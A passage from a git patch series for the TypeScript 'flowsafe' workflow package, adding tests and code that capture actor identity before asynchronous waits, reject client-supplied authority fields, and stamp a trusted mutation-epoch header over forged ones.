(or any handler fault) that THROWS before // returning a Response — e.g. a future unguarded path decode — is // contained as a generic 500 here rather than rejecting out of fetch() diff --git a/packages/flowsafe/src/host-kit/run-router.test.ts b/packages/flowsafe/src/host-kit/run-router.test.ts index 0955bb53..24f77ebc 100644 --- a/packages/flowsafe/src/host-kit/run-router.test.ts +++ b/packages/flowsafe/src/host-kit/run-router.test.ts @@ -12,19 +12,25 @@ import { describe, expect, it, vi } from 'vitest'; +import { TEST_DEPLOYMENT_IDENTITY_SECRET } from '../../test-support/deployment-identity.js'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; import { + type ActorContext, type ApprovalActor, ApprovalService, type ApprovalStore, createActorResolver, + humanPrincipal, InMemoryApprovalStoreFactory, type SelfDecisionPolicy, } from '../approval-api/index.js'; import { + doErrorResponse, ExecutionFencedError, type ExecutionFenceWiring, + InvalidMutationEpochError, InvalidRunRequestError, + MutationEpochMismatchError, RunLifecycleBlockedError, RunNotSuspendedError, type RunSummary, @@ -34,6 +40,7 @@ import { UnknownRunError, } from '../do-runner/index.js'; import { reconcileApprovalsOnStatus } from './approval-bridge.js'; +import { createDoRunTopology } from './do-run-topology.js'; import { RunRouteError } from './run-route-error.js'; import { createRunRouter, type RunRouterOptions } from './run-router.js'; import type { WorkflowMeta } from './workflow-meta.js'; @@ -83,6 +90,8 @@ function suspendedSummary(runId: string): RunSummary { } interface HarnessOptions { + transformContext?: (context: ActorContext) => ActorContext; + beforeStart?: RunRouterOptions['beforeStart']; start?: RunRouterOptions['start']; status?: ( workflowId: string, @@ -159,7 +168,13 @@ function makeHarness(options: HarnessOptions = {}) { }); const handle = createRunRouter({ workflows: WORKFLOWS, - resolve, + resolve: async (request) => { + const context = await resolve(request); + return context && options.transformContext + ? options.transformContext(context) + : context; + }, + beforeStart: options.beforeStart, systemPrincipalId: SYSTEM.id, startIdempotency: options.startIdempotency ?? 'none', start: async (input) => { @@ -222,6 +237,462 @@ function req(path: string, options: ReqOptions = {}): Request { }); } +function cDeferred() { + let resolve = () => {}; + const promise = new Promise((done) => { + resolve = done; + }); + return { promise, resolve }; +} + +function cStartStore() { + return new StartIdempotencyStore( + sqliteUnitDatabase(openSqlite()) as StartIdempotencyDatabase, + ); +} + +function cHeldBody(body: unknown) { + const entered = cDeferred(); + const release = cDeferred(); + const bytes = new TextEncoder().encode(JSON.stringify(body)); + const stream = new ReadableStream( + { + async pull(controller) { + entered.resolve(); + await release.promise; + controller.enqueue(bytes); + controller.close(); + }, + }, + { highWaterMark: 0 }, + ); + const request = new Request('http://host.test/runs', { + method: 'POST', + headers: { + 'x-actor-id': OPERATOR.id, + 'x-actor-role': OPERATOR.role, + 'content-type': 'application/json', + }, + body: stream, + duplex: 'half', + } as RequestInit & { duplex: 'half' }); + return { request, entered, release }; +} + +describe('C workflow router capture', () => { + it('C keyed replay keeps the captured policy view through persisted lookup and reconciliation', async () => { + const store = cStartStore(); + await store.reserve({ + key: 'original-key', + owner: { kind: 'human', id: OPERATOR.id }, + targetKind: 'workflow', + targetId: OPEN_FLOW.id, + mintRunId: () => 'r1', + }); + const actor: ApprovalActor = { id: OPERATOR.id, role: 'operator' }; + let source: ActorContext | undefined; + const entered = cDeferred(); + const release = cDeferred(); + const policy = vi.fn>( + async () => {}, + ); + const reconcile = vi.fn< + NonNullable + >(async () => {}); + const start = vi.fn(async (input) => + suspendedSummary(input.runId), + ); + const fixture = makeHarness({ + transformContext: (context) => { + source = { ...context, actor, mutationEpoch: 2 }; + return source; + }, + startIdempotency: { + store, + executionFence: 'none', + live: async () => false, + }, + beforeStart: policy, + reconcileApprovals: reconcile, + start, + status: async (_workflowId, runId) => { + entered.resolve(); + await release.promise; + return suspendedSummary(runId); + }, + }); + const pending = fixture.handle( + req('/runs', { + body: { workflowId: OPEN_FLOW.id, idempotencyKey: 'original-key' }, + }), + ); + const outcome = pending.then( + () => false, + () => false, + ); + try { + expect( + await Promise.race([entered.promise.then(() => true), outcome]), + ).toBe(true); + Object.assign(actor, { id: 'replacement', role: 'viewer' }); + Object.assign(source ?? {}, { + principal: humanPrincipal({ id: 'replacement', role: 'viewer' }), + mutationEpoch: 3, + }); + } finally { + release.resolve(); + await outcome; + } + expect((await pending)?.status).toBe(200); + expect(start).not.toHaveBeenCalled(); + expect(reconcile).toHaveBeenCalledOnce(); + const captured = reconcile.mock.calls[0]?.[0]; + expect(captured).toBe(policy.mock.calls[0]?.[0]); + expect(captured).toMatchObject({ + actor: { id: OPERATOR.id, role: 'operator' }, + principal: { id: OPERATOR.id }, + mutationEpoch: 2, + }); + expect(reconcile.mock.calls[0]?.[1]).toBe(OPEN_FLOW.id); + expect(reconcile.mock.calls[0]?.[2]).toMatchObject({ + runId: 'r1', + status: 'suspended', + }); + }); + + it.each([ + 'mutationEpoch', + 'startIdentity', + 'agentStart', + 'execution', + 'tablePrefix', + 'startToken', + 'attemptToken', + 'runOwnerGuard', + 'onPreparedStartIdentity', + ])('C workflow route refuses public authority field %s', async (field) => { + const start = vi.fn(async (input) => ({ + runId: input.runId, + status: 'success', + })); + const fixture = makeHarness({ start }); + const response = await fixture.handle( + req('/runs', { body: { workflowId: OPEN_FLOW.id, [field]: 2 } }), + ); + expect(response?.status).toBe(400); + expect(await response?.json()).toEqual({ + error: `field '${field}' is not allowed`, + }); + expect(start).not.toHaveBeenCalled(); + }); + + it('C workflow route retains direct invalid-epoch error data', async () => { + const start = vi.fn(async (input) => ({ + runId: input.runId, + status: 'success', + })); + const fixture = makeHarness({ + transformContext: (context) => ({ ...context, mutationEpoch: -1 }), + start, + }); + const response = await fixture.handle( + req('/runs', { body: { workflowId: OPEN_FLOW.id } }), + ); + expect(response?.status).toBe(400); + expect(await response?.json()).toEqual({ + error: 'mutationEpoch must be a nonnegative safe integer or undefined', + reason: { code: 'INVALID_MUTATION_EPOCH' }, + }); + expect(start).not.toHaveBeenCalled(); + }); + + it.each([ + 'missing', + 'stale', + 'future', + 'invalid', + ] as const)('C workflow route retains complete encoded epoch refusals: %s', async (classification) => { + const error = + classification === 'invalid' + ? new InvalidMutationEpochError() + : new MutationEpochMismatchError(classification, 2); + const fetch = vi.fn(async () => doErrorResponse(error)); + const topology = createDoRunTopology( + { idFromName: (name) => name, get: () => ({ fetch }) }, + TEST_DEPLOYMENT_IDENTITY_SECRET, + ); + const fixture = makeHarness({ start: topology.start }); + const response = await fixture.handle( + req('/runs', { body: { workflowId: OPEN_FLOW.id } }), + ); + expect(response?.status).toBe(classification === 'invalid' ? 400 : 409); + expect(await response?.json()).toEqual( + classification === 'invalid' + ? { + error: + 'mutationEpoch must be a nonnegative safe integer or undefined', + reason: { code: 'INVALID_MUTATION_EPOCH' }, + } + : { + error: 'mutation epoch does not match the active deployment', + reason: { + code: 'MUTATION_EPOCH_MISMATCH', + classification, + mutationEpoch: 2, + }, + }, + ); + expect(fetch).toHaveBeenCalledOnce(); + }); + + it.each([ + [false, 'operator', 'admin', 403], + [true, 'operator', 'admin', 403], + [false, 'admin', 'operator', 200], + [true, 'admin', 'operator', 200], + ] as const)('C workflow start keeps the original actor role across body reads: keyed=%s %s to %s', async (keyed, initialRole, laterRole, status) => { + const values = { + id: 'original-actor', + role: initialRole as ApprovalActor['role'], + }; + const id = vi.fn(() => values.id); + const role = vi.fn(() => values.role); + const actor: ApprovalActor = { + get id() { + return id(); + }, + get role() { + return role(); + }, + }; + let source: ActorContext | undefined; + const store = cStartStore(); + const reserve = vi.spyOn(store, 'reserve'); + const policy = vi.fn>( + async () => {}, + ); + const start = vi.fn(async (input) => ({ + runId: input.runId, + status: 'success', + })); + const fixture = makeHarness({ + transformContext: (context) => { + source = { ...context, actor, mutationEpoch: 2 }; + return source; + }, + beforeStart: policy, + start, + status: async () => undefined, + startIdempotency: keyed + ? { store, live: async () => false, executionFence: 'none' } + : 'none', + }); + const body = cHeldBody({ + workflowId: RESTRICTED_FLOW.id, + ...(keyed ? { idempotencyKey: 'original-key' } : {}), + }); + const pending = fixture.handle(body.request); + void pending.catch(() => undefined); + try { + await body.entered.promise; + expect(id).toHaveBeenCalledTimes(1); + expect(role).toHaveBeenCalledTimes(1); + expect(policy).not.toHaveBeenCalled(); + expect(reserve).not.toHaveBeenCalled(); + values.id = 'replacement-actor'; + values.role = laterRole; + Object.assign(source ?? {}, { + principal: humanPrincipal({ + id: 'replacement-principal', + role: 'admin', + }), + mutationEpoch: 3, + }); + } finally { + body.release.resolve(); + await pending; + } + const response = await pending; + expect(response?.status).toBe(status); + if (status === 403) { + expect(await response?.json()).toEqual({ + error: "role 'operator' may not start 'restricted-flow'", + }); + expect(policy).not.toHaveBeenCalled(); + expect(reserve).not.toHaveBeenCalled(); + expect(start).not.toHaveBeenCalled(); + } else { + expect(policy.mock.calls[0]?.[0]).toMatchObject({ + actor: { id: 'original-actor', role: initialRole }, + principal: { id: OPERATOR.id }, + mutationEpoch: 2, + }); + expect(start.mock.calls[0]?.[0]).toMatchObject({ + workflowId: RESTRICTED_FLOW.id, + principal: { id: OPERATOR.id }, + mutationEpoch: 2, + }); + expect(start).toHaveBeenCalledOnce(); + expect(reserve).toHaveBeenCalledTimes(keyed ? 1 : 0); + } + expect(id).toHaveBeenCalledTimes(1); + expect(role).toHaveBeenCalledTimes(1); + expect(Object.isFrozen(actor)).toBe(false); + expect(Object.isFrozen(source)).toBe(false); + }); + + it.each([ + 'unkeyed', + 'reserve', + 'claim', + ] as const)('C suspended start keeps original approval requester and workflow: %s', async (boundary) => { + const keyed = boundary !== 'unkeyed'; + const actor: ApprovalActor = { id: OPERATOR.id, role: 'operator' }; + let source: ActorContext | undefined; + const policyEntered = cDeferred(); + const policyRelease = cDeferred(); + const f3Entered = cDeferred(); + const f3Release = cDeferred(); + const startEntered = cDeferred(); + const startRelease = cDeferred(); + const store = cStartStore(); + const reserve = store.reserve.bind(store); + const claim = store.claim.bind(store); + const reserveSpy = vi + .spyOn(store, 'reserve') + .mockImplementation(async (...args) => { + if (boundary === 'reserve') { + f3Entered.resolve(); + await f3Release.promise; + } + return reserve(...args); + }); + vi.spyOn(store, 'claim').mockImplementation(async (...args) => { + if (boundary === 'claim') { + f3Entered.resolve(); + await f3Release.promise; + } + return claim(...args); + }); + const policy = vi.fn>( + async () => { + policyEntered.resolve(); + await policyRelease.promise; + }, + ); + const start = vi.fn(async (input) => { + startEntered.resolve(); + await startRelease.promise; + return { + ...suspendedSummary(input.runId), + requestedBy: OPERATOR.id, + requestedByKind: 'human', + }; + }); + const fixture = makeHarness({ + transformContext: (context) => { + source = { ...context, actor, mutationEpoch: 2 }; + return source; + }, + beforeStart: policy, + start, + status: async () => undefined, + startIdempotency: keyed + ? { store, live: async () => false, executionFence: 'none' } + : 'none', + }); + const body = { + workflowId: OPEN_FLOW.id, + inputData: { original: true }, + deadlineMs: 60, + idempotencyKey: keyed ? 'original-key' : undefined, + }; + const originalInput = body.inputData; + const raw = JSON.stringify(body); + const parse = JSON.parse; + const parser = vi + .spyOn(JSON, 'parse') + .mockImplementation((text, reviver) => + text === raw ? body : parse(text, reviver), + ); + const pending = fixture.handle(req('/runs', { body: raw })); + const outcome = pending.then( + () => false, + () => false, + ); + try { + expect( + await Promise.race([policyEntered.promise.then(() => true), outcome]), + ).toBe(true); + Object.assign(actor, { id: 'replacement', role: 'admin' }); + Object.assign(source ?? {}, { + principal: humanPrincipal({ id: 'replacement', role: 'admin' }), + mutationEpoch: 3, + }); + Object.assign(body, { + workflowId: RESTRICTED_FLOW.id, + idempotencyKey: 'replacement', + deadlineMs: 999, + inputData: { replaced: true }, + }); + policyRelease.resolve(); + if (keyed) { + expect( + await Promise.race([ + f3Entered.promise.then(() => true), + startEntered.promise.then(() => false), + outcome, + ]), + ).toBe(true); + Object.assign(actor, { id: 'after-f3', role: 'viewer' }); + Object.assign(source ?? {}, { mutationEpoch: 4 }); + f3Release.resolve(); + } + expect( + await Promise.race([startEntered.promise.then(() => true), outcome]), + ).toBe(true); + Object.assign(actor, { id: 'after-execution', role: 'viewer' }); + body.workflowId = 'after-execution'; + } finally { + policyRelease.resolve(); + f3Release.resolve(); + startRelease.resolve(); + await outcome; + parser.mockRestore(); + } + const response = await pending; + expect(response?.status).toBe(200); + expect(await response?.json()).toMatchObject({ + approval: { requestedBy: OPERATOR.id, workflowId: OPEN_FLOW.id }, + }); + expect(policy.mock.calls[0]?.[0]).toMatchObject({ + actor: { id: OPERATOR.id, role: 'operator' }, + principal: { id: OPERATOR.id }, + mutationEpoch: 2, + }); + expect(policy.mock.calls[0]?.slice(1)).toEqual([ + OPEN_FLOW.id, + originalInput, + ]); + expect(start.mock.calls[0]?.[0]).toMatchObject({ + workflowId: OPEN_FLOW.id, + inputData: originalInput, + deadlineMs: 60, + principal: { id: OPERATOR.id }, + mutationEpoch: 2, + }); + if (keyed) { + expect(start.mock.calls[0]?.[0].idempotencyKey).toBe('original-key'); + expect(reserveSpy.mock.calls[0]?.[0]).toMatchObject({ + key: 'original-key', + targetId: OPEN_FLOW.id, + owner: { kind: 'human', id: OPERATOR.id }, + }); + } + expect(start).toHaveBeenCalledOnce(); + }); +}); + describe('createRunRouter — composition and auth', () => { it('returns null for paths it does not own', async () => { // #given diff --git a/packages/flowsafe/src/host-kit/run-router.ts b/packages/flowsafe/src/host-kit/run-router.ts index 3a79cde4..bd926b36 100644 --- a/packages/flowsafe/src/host-kit/run-router.ts +++ b/packages/flowsafe/src/host-kit/run-router.ts @@ -23,6 +23,7 @@ // grant the runtime mints per leg (approval-api/grants.ts), so a side-effecting // step re-checks and fails closed. Approve through the queue, not this route. +import { captureActorContext } from '../approval-api/actor-context.js'; import { type ActorContext, ActorResolutionError, @@ -192,6 +193,7 @@ export type RunRouterStartIdempotency = }; export interface RunStartInput { + readonly mutationEpoch?: number; workflowId: string; runId: string; inputData: unknown; @@ -347,6 +349,8 @@ interface IdempotentStartResult { async function startIdempotently( options: RunRouterOptions, context: ActorContext, + principal: ExecutionPrincipal, + mutationEpoch: number | undefined, workflowId: string, body: StartBody, rawKey: unknown, @@ -367,8 +371,8 @@ async function startIdempotently( // the check as whatever the JSON parser actually produced. key: rawKey, owner: { - kind: context.principal.kind, - id: context.principal.id, + kind: principal.kind, + id: principal.id, }, targetKind: 'workflow', targetId: workflowId, @@ -392,7 +396,8 @@ async function startIdempotently( workflowId, runId, inputData: body.inputData, - principal: context.principal, + principal, + mutationEpoch, idempotencyKey: key, ...(body.deadlineMs === undefined ? {} @@ -425,8 +430,14 @@ export function createRunRouter(options: RunRouterOptions): RunRouter { if (url.pathname !== '/workflows' && segments[0] !== 'runs') return null; try { - const context = await resolve(request); - if (!context) return json({ error: 'authentication required' }, 401); + const resolved = await resolve(request); + if (!resolved) return json({ error: 'authentication required' }, 401); + const context = + request.method === 'POST' && + segments[0] === 'runs' && + segments.length === 1 + ? captureActorContext(resolved) + : resolved; const actor = context.actor; if (request.method === 'GET' && url.pathname === '/workflows') { @@ -458,8 +469,38 @@ export function createRunRouter(options: RunRouterOptions): RunRouter { if (!RUN_START_ROLES.includes(actor.role)) { return json({ error: 'forbidden' }, 403); } - const body = (await readJson(request)) as StartBody | null; - if (!body || typeof body.workflowId !== 'string') { + const { principal, mutationEpoch } = context; + const parsed = (await readJson(request)) as StartBody | null; + if (!parsed) return json({ error: 'workflowId is required' }, 400); + const forbidden = [ + 'mutationEpoch', + 'startIdentity', + 'agentStart', + 'execution', + 'tablePrefix', + 'startToken', + 'attemptToken', + 'runOwnerGuard', + 'onPreparedStartIdentity', + ].find((field) => Object.hasOwn(parsed, field)); + if (forbidden !== undefined) { + return json({ error: `field '${forbidden}' is not allowed` }, 400); + } + const { + workflowId: startTarget, + idempotencyKey, + deadlineMs, + inputData, + runId: suppliedRunId, + } = parsed; + const body: StartBody = { + workflowId: startTarget, + idempotencyKey, + deadlineMs, + inputData, + runId: suppliedRunId, + }; + if (typeof startTarget !== 'string') { return json({ error: 'workflowId is required' }, 400); } // A client may never choose the runId. 400 (not silent override) so a @@ -467,9 +508,9 @@ export function createRunRouter(options: RunRouterOptions): RunRouter { if (body.runId !== undefined) { return json({ error: 'runId is server-assigned' }, 400); } - const meta = metaFor(body.workflowId); + const meta = metaFor(startTarget); if (!meta) { - return json({ error: `unknown workflow '${body.workflowId}'` }, 404); + return json({ error: `unknown workflow '${startTarget}'` }, 404); } // Per-workflow RBAC: a workflow may restrict who can START it — a finer // gate than the coarse "can start any run" check above. @@ -477,13 +518,12 @@ export function createRunRouter(options: RunRouterOptions): RunRouter { if (allowedRoles && !allowedRoles.includes(actor.role)) { return json( { - error: `role '${actor.role}' may not start '${body.workflowId}'`, + error: `role '${actor.role}' may not start '${startTarget}'`, }, 403, ); } - await options.beforeStart?.(context, body.workflowId, body.inputData); - const startTarget = body.workflowId; + await options.beforeStart?.(context, startTarget, inputData); // Unkeyed starts take the path they always took: mint, start, answer. // Keyed starts route through the reservation, which decides whether // this request starts a run or reports one that already exists. @@ -494,7 +534,8 @@ export function createRunRouter(options: RunRouterOptions): RunRouter { workflowId: startTarget, runId: context.newRunId(), inputData: body.inputData, - principal: context.principal, + principal, + mutationEpoch, ...(body.deadlineMs === undefined ? {} : { deadlineMs: body.deadlineMs as number }), @@ -504,6 +545,8 @@ export function createRunRouter(options: RunRouterOptions): RunRouter { : await startIdempotently( options, context, + principal, + mutationEpoch, startTarget, body, body.idempotencyKey, @@ -539,7 +582,7 @@ export function createRunRouter(options: RunRouterOptions): RunRouter { try { approvals = await queueApprovalForSuspension( context.service(), - body.workflowId, + startTarget, summary, actor.id, systemPrincipalId, @@ -548,7 +591,7 @@ export function createRunRouter(options: RunRouterOptions): RunRouter { console.error( JSON.stringify({ type: 'approval-filing-error', - workflowId: body.workflowId, + workflowId: startTarget, runId: summary.runId, error: error instanceof Error ? error.message : String(error), }), diff --git a/packages/flowsafe/src/host-kit/thread-topology.test.ts b/packages/flowsafe/src/host-kit/thread-topology.test.ts index 1ffa2c08..cb6470af 100644 --- a/packages/flowsafe/src/host-kit/thread-topology.test.ts +++ b/packages/flowsafe/src/host-kit/thread-topology.test.ts @@ -6,7 +6,11 @@ import { type ExecutionPrincipal, principalActor, } from '../approval-api/index.js'; -import { EXECUTION_PRINCIPAL_HEADER } from '../do-runner/index.js'; +import { + EXECUTION_PRINCIPAL_HEADER, + InvalidMutationEpochError, + MUTATION_EPOCH_HEADER, +} from '../do-runner/index.js'; import { createThreadTopology, type ThreadNamespaceLike, @@ -62,6 +66,94 @@ function harness() { }; } +describe('C thread epoch transport', () => { + it('C thread send deletes an absent epoch header', async () => { + const { topology, hits } = harness(); + await topology.send(context(), 'thread-1', '/start', { + method: 'POST', + body: '{"prompt":"hello"}', + headers: { + 'X-Flowsafe-Mutation-Epoch': '7', + [MUTATION_EPOCH_HEADER]: '8', + }, + }); + expect( + new Headers(hits[0]?.init?.headers).get(MUTATION_EPOCH_HEADER), + ).toBeNull(); + expect(hits[0]?.init?.body).toBe('{"prompt":"hello"}'); + }); + + it('C thread forward deletes an absent epoch header', async () => { + const { topology, hits } = harness(); + const request = new Request('https://host/stream', { + headers: { + Upgrade: 'websocket', + 'X-Flowsafe-Mutation-Epoch': '7', + [MUTATION_EPOCH_HEADER]: '8', + }, + }); + await topology.forward(context(), 'thread-1', request); + const forwarded = hits[0]?.request as Request; + expect(forwarded.headers.get(MUTATION_EPOCH_HEADER)).toBeNull(); + expect(forwarded.headers.get('upgrade')).toBe('websocket'); + expect(request.headers.get(MUTATION_EPOCH_HEADER)).toBe('7, 8'); + }); + + it.each([ + 0, + Number.MAX_SAFE_INTEGER, + ])('C stamps both thread transports with canonical epoch %s', async (mutationEpoch) => { + const { topology, hits } = harness(); + const trusted = { ...context(), mutationEpoch }; + await topology.send(trusted, 'thread-1', '/start', { + headers: { + 'X-Flowsafe-Mutation-Epoch': 'forged', + [MUTATION_EPOCH_HEADER]: '8', + }, + body: '{"prompt":"hello"}', + }); + const request = new Request('https://host/start', { + method: 'POST', + headers: { [MUTATION_EPOCH_HEADER]: 'forged' }, + body: 'payload', + }); + await topology.forward(trusted, 'thread-1', request); + expect(new Headers(hits[0]?.init?.headers).get(MUTATION_EPOCH_HEADER)).toBe( + String(mutationEpoch), + ); + const forwarded = hits[1]?.request as Request; + expect(forwarded.headers.get(MUTATION_EPOCH_HEADER)).toBe( + String(mutationEpoch), + ); + expect(await forwarded.text()).toBe('payload'); + expect(request.headers.get(MUTATION_EPOCH_HEADER)).toBe('forged'); + }); + + it.each([ + null, + '2', + true, + -1, + 0.5, + NaN, + Infinity, + Number.MAX_SAFE_INTEGER + 1, + ])('C invalid thread epoch refuses before namespace lookup (%s)', async (mutationEpoch) => { + const { topology, namespace, hits } = harness(); + const get = vi.spyOn(namespace, 'get'); + const trusted = { ...context(), mutationEpoch } as ActorContext; + await expect( + topology.send(trusted, 'thread-1', '/start'), + ).rejects.toBeInstanceOf(InvalidMutationEpochError); + await expect( + topology.forward(trusted, 'thread-1', new Request('https://host/')), + ).rejects.toBeInstanceOf(InvalidMutationEpochError); + expect(namespace.idFromName).not.toHaveBeenCalled(); + expect(get).not.toHaveBeenCalled(); + expect(hits).toEqual([]); + }); +}); + describe('createThreadTopology', () => { it('stamps the canonical human principal and strips retired identity headers', async () => { const { topology, hits } = harness(); diff --git a/packages/flowsafe/src/host-kit/thread-topology.ts b/packages/flowsafe/src/host-kit/thread-topology.ts index 485c32f3..0daa44f9 100644 --- a/packages/flowsafe/src/host-kit/thread-topology.ts +++ b/packages/flowsafe/src/host-kit/thread-topology.ts @@ -28,7 +28,9 @@ import { import { deploymentIdentityHeaders, EXECUTION_PRINCIPAL_HEADER, + normalizeMutationEpoch, stampDeploymentIdentityRequest, + stampMutationEpoch, } from '../do-runner/index.js'; import { requireMemoryId } from './memory-boundary.js'; @@ -62,7 +64,10 @@ export interface ThreadRequestInit { body?: string; } -export type ThreadPrincipalContext = Pick; +export type ThreadPrincipalContext = Pick< + ActorContext, + 'principal' | 'mutationEpoch' +>; /** A standing-memory target that must resolve to a durable thread binding. */ export interface BoundThreadTarget { @@ -129,10 +134,12 @@ export function createThreadTopology( // 404 would escape past the very handler meant to map it. return { send: async (context, threadId, path, init = {}) => { + const principal = stampedPrincipal(context); + const mutationEpoch = normalizeMutationEpoch(context.mutationEpoch); // Merge through Headers so the stamp wins by case-insensitive name. A // plain-object spread can preserve duplicate case variants instead. const merged = new Headers(init.headers); - const principal = stampedPrincipal(context); + stampMutationEpoch(merged, mutationEpoch); merged.set( EXECUTION_PRINCIPAL_HEADER, encodeExecutionPrincipal(principal), @@ -152,6 +159,8 @@ export function createThreadTopology( }); }, forward: async (context, threadId, request) => { + const principal = stampedPrincipal(context); + const mutationEpoch = normalizeMutationEpoch(context.mutationEpoch); const threadName = addressed(threadId); // A cloned Request has MUTABLE headers where an inbound one does not, so // this is what lets the overwrite happen at all — and `set` (not `append`) @@ -161,7 +170,7 @@ export function createThreadTopology( request, deploymentIdentitySecret, ); - const principal = stampedPrincipal(context); + stampMutationEpoch(forwarded.headers, mutationEpoch); // Retired identity headers: nothing reads them, but a client's forged // value must not ride into the DO as if the topology had stamped it. forwarded.headers.delete('x-flowsafe-actor'); diff --git a/packages/flowsafe/src/signals/thread-do-routes.real-agent.test.ts b/packages/flowsafe/src/signals/thread-do-routes.real-agent.test.ts index a75b5098..a9549b95 100644 --- a/packages/flowsafe/src/signals/thread-do-routes.real-agent.test.ts +++ b/packages/flowsafe/src/signals/thread-do-routes.real-agent.test.ts @@ -585,6 +585,17 @@ describe('thread signal routes with a real durable agent', () => { }, 'operator', 'human', + undefined, + undefined, + undefined, + { + startIdentity: { + owner: { kind: 'human', id: 'operator' }, + target: { kind: 'agent', id: 'writer', threadId: directThreadId }, + }, + agentStart: { threaded: false }, + onPreparedStartIdentity: undefined, + }, ), 'untilIdle refusal', ), @@ -608,6 +619,17 @@ describe('thread signal routes with a real durable agent', () => { { runId: hostId, requestContext: actorContext() }, 'operator', 'human', + undefined, + undefined, + undefined, + { + startIdentity: { + owner: { kind: 'human', id: 'operator' }, + target: { kind: 'agent', id: 'writer', threadId: hostId }, + }, + agentStart: { threaded: false }, + onPreparedStartIdentity: undefined, + }, ); await vi.waitFor(() => expect(harness.start).toHaveBeenCalledOnce()); await expect( @@ -646,6 +668,17 @@ describe('thread signal routes with a real durable agent', () => { { runId: hostId, requestContext: actorContext() }, 'operator', 'human', + undefined, + undefined, + undefined, + { + startIdentity: { + owner: { kind: 'human', id: 'operator' }, + target: { kind: 'agent', id: 'writer', threadId: hostId }, + }, + agentStart: { threaded: false }, + onPreparedStartIdentity: undefined, + }, ), 'suspended host stream persistence', ); @@ -665,6 +698,17 @@ describe('thread signal routes with a real durable agent', () => { { runId: hostId, requestContext: actorContext() }, 'operator', 'human', + undefined, + undefined, + undefined, + { + startIdentity: { + owner: { kind: 'human', id: 'operator' }, + target: { kind: 'agent', id: 'writer', threadId: hostId }, + }, + agentStart: { threaded: false }, + onPreparedStartIdentity: undefined, + }, ), ).rejects.toBeInstanceOf(InvalidRunRequestError); expect(globalRunRegistry.get(hostId)).toBe(liveEntry); diff --git a/packages/showcase/worker/workflows.e2e.test.ts b/packages/showcase/worker/workflows.e2e.test.ts index 1f82f6c3..cb23546c 100644 --- a/packages/showcase/worker/workflows.e2e.test.ts +++ b/packages/showcase/worker/workflows.e2e.test.ts @@ -25,7 +25,7 @@ import { queueApprovalForSuspension, resumeRunWithRequeue, } from '@proofoftech/flowsafe/host-kit'; -import { describe, expect, it } from 'vitest'; +import { describe, expect, it, vi } from 'vitest'; import { buildShowcaseRuntime, SHOWCASE_MODULES } from '#worker/runtime'; import { ACCESS_CONNECTOR } from '#worker/workflows/access-request'; import { PUBLISH_CONNECTOR } from '#worker/workflows/content-pipeline'; @@ -554,11 +554,13 @@ describe('showcase run routes', () => { function routerFor( harness: ReturnType, actor: ApprovalActor, + mutationEpoch?: number, ) { return createRunRouter({ workflows: SHOWCASE_MODULES.map((entry) => entry.meta), resolve: createActorResolver({ authenticate: () => actor, + mutationEpoch, storeFactory: harness.storeFactory, deploymentTag: 'showcase-test', buildService: (store) => @@ -576,7 +578,13 @@ describe('showcase run routes', () => { // In-memory harness, no database to reserve against: the opt-out is // written down rather than defaulted — see RunRouterStartIdempotency. startIdempotency: 'none', - start: async ({ workflowId, runId, inputData, principal }) => { + start: async ({ + workflowId, + runId, + inputData, + principal, + mutationEpoch, + }) => { const resources = harness.storeFactory.resources(); const resourceOwner = principalOwner(principal); if (!(await resources.claim('run', runId, resourceOwner))) { @@ -586,6 +594,7 @@ describe('showcase run routes', () => { return await harness.runtime.start(workflowId, { runId, inputData, + mutationEpoch, requestedBy: principal.id, requestedByKind: principal.kind, }); @@ -628,6 +637,55 @@ describe('showcase run routes', () => { targetScope: 'access-request', }; + it('forwards a configured epoch to Runtime after the ownership claim wait', async () => { + const harness = buildHarness(); + const handle = routerFor(harness, { id: 'ada', role: 'admin' }, 7); + const resources = harness.storeFactory.resources(); + const claim = resources.claim.bind(resources); + let release = () => {}; + let entered = () => {}; + const held = new Promise((resolve) => { + release = resolve; + }); + const ready = new Promise((resolve) => { + entered = resolve; + }); + let holdNext = true; + const claimSpy = vi + .spyOn(resources, 'claim') + .mockImplementation(async (...args) => { + if (holdNext && args[0] === 'run') { + holdNext = false; + entered(); + await held; + } + return claim(...args); + }); + const start = vi.spyOn(harness.runtime, 'start'); + const operation = handle(startRequest('access-request', ACCESS_INPUT)); + try { + await Promise.race([ready, operation]); + expect(holdNext).toBe(false); + expect(start).not.toHaveBeenCalled(); + release(); + expect((await operation)?.status).toBe(200); + expect(start).toHaveBeenCalledTimes(1); + expect(start.mock.calls[0]).toEqual([ + 'access-request', + expect.objectContaining({ + mutationEpoch: 7, + requestedBy: 'ada', + requestedByKind: 'human', + }), + ]); + } finally { + release(); + await Promise.allSettled([operation]); + claimSpy.mockRestore(); + start.mockRestore(); + } + }); + it('serves all six workflow metas at GET /workflows', async () => { // #given const harness = buildHarness(); From fbc78551023d9fba18e976f65dc1688bfd508fb5 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Mon, 7 Sep 2026 13:47:59 +0400 Subject: [PATCH 080/169] fix(flowsafe): keep stored summaries on the selected workflow Prevent child workflow rows from overwriting dotted root step payloads and timestamps. Keep recursive reads only for detailed resume preparation so suspension-bound grants retain their child identity. Generated with [Devin](https://devin.ai) Co-Authored-By: Devin <158243242+devin-ai-integration[bot]@users.noreply.github.com> --- .changeset/sticky-fence-epochs.md | 2 + docs/do-runner-design.md | 6 + .../flowsafe/src/do-runner/runtime.test.ts | 612 ++++++++++++++++++ packages/flowsafe/src/do-runner/runtime.ts | 8 +- 4 files changed, 626 insertions(+), 2 deletions(-) diff --git a/.changeset/sticky-fence-epochs.md b/.changeset/sticky-fence-epochs.md index 41ec1473..000dcf40 100644 --- a/.changeset/sticky-fence-epochs.md +++ b/.changeset/sticky-fence-epochs.md @@ -17,3 +17,5 @@ Add explicit expected-row terminalization to the owned D1 capability. It derives Carry trusted caller epochs through Worker configuration, actor contexts, protected topology headers, Durable Object ingress and the internal agent bridge. Capture original actor/principal/selector values before waits while preserving class-backed host method receivers. The internal agent start now requires an eighth authority argument with an explicit prepared-callback property. Built-in callbacks remain undefined and Runtime still emits v1: this transport does not activate final-write epoch enforcement, generation binding or managed recovery. Reject sparse economic-operation lists before execution or lifecycle writes, including resume inputs. Copy indexed entries without calling caller-supplied array methods, and preserve valid dense/inherited entries and the existing lifecycle-format error. This prevents successful execution from producing an unreadable snapshot with null operation placeholders. + +Project stored run summaries from the selected workflow's direct step records instead of merging child workflow rows over dotted root step names. Preserve root payloads and suspension timestamps across child-only updates while retaining detailed nested resume preparation, grant 